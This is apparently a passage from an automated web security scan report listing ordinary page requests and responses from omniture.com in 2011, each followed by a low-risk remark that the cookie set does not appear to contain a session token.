GET /en/partners/showcase HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:15:49 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:15:49 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:15:49 GMT Content-Length: 29397 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:15:49 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Partner Showcase | Onl ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/privacy HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:43:36 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:43:36 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:43:36 GMT Content-Length: 23114 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:43:36 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Privacy Center | Online Busines ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /en/privacy/2o7?f=2o7 HTTP/1.1 Host: www.omniture.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BIGipServerhttp_omniture=84542986.5892.0000
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 15:39:24 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 15:39:24 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Date: Wed, 02 Feb 2011 15:39:24 GMT Connection: close Set-Cookie: omniture_unique=c4b47f0affb47cea2cd263f6285f016c; path=/; domain=omniture.com Set-Cookie: cms_site_lang=1; expires=Fri, 04-Mar-2011 15:39:24 GMT; path=/; domain=omniture.com Set-Cookie: use207=7; path=/; domain=omniture.com Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 15:39:24 GMT; path=/; domain=omniture.com Content-Length: 23935
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Privacy - 2o7.net Expl ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/privacy/policy HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:58:16 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:58:16 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:58:17 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:58:16 GMT; path=/; domain=omniture.com Content-Length: 43642
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Privacy Center: Privac ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/privacy/product HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:58:18 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:58:18 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:58:19 GMT Content-Length: 31979 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:58:18 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Product Privacy Policy ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/privacy/visualsciences HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:58:18 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:58:18 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:58:18 GMT Content-Length: 21092 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:58:18 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Company | Visual Sci ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/privacy/visualsciences/policy HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:58:20 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:58:20 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:58:20 GMT Content-Length: 27266 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:58:20 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Company | Visual Sci ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/privacy/visualsciences/resources HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:58:25 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:58:25 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:58:25 GMT Content-Length: 25972 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:58:25 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Company | Visual Sci ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/privacy/visualsciences/terms HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:58:28 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:58:28 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:58:28 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:58:28 GMT; path=/; domain=omniture.com Content-Length: 48076
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Company | Visual Sci ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/product_tours/form HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:24:42 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:24:42 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:24:42 GMT Content-Length: 14126 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:24:42 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Products Tours & Add ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/conversion HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:59:54 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:59:54 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:59:54 GMT Content-Length: 24236 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:59:54 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Conversions, Target Mark ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/conversion/merchandising HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:00:14 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:00:14 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:00:15 GMT Content-Length: 31731 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:00:14 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Conversion | Merchan ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/conversion/publish HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:00:20 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:00:20 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:00:20 GMT Content-Length: 24910 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:00:20 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Content Management System | Ent ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/conversion/recommendations HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:00:21 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:00:21 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:00:21 GMT Content-Length: 31203 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:00:21 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Conversion | Recomme ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/conversion/searchandpromote HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:00:39 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:00:39 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:00:39 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:00:39 GMT; path=/; domain=omniture.com Content-Length: 34884
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Site Search, Website Search Eng ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/conversion/survey HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:00:42 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:00:42 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:00:42 GMT Content-Length: 28970 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:00:42 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Survey, Voice of Custome ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/conversion/testandtarget HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
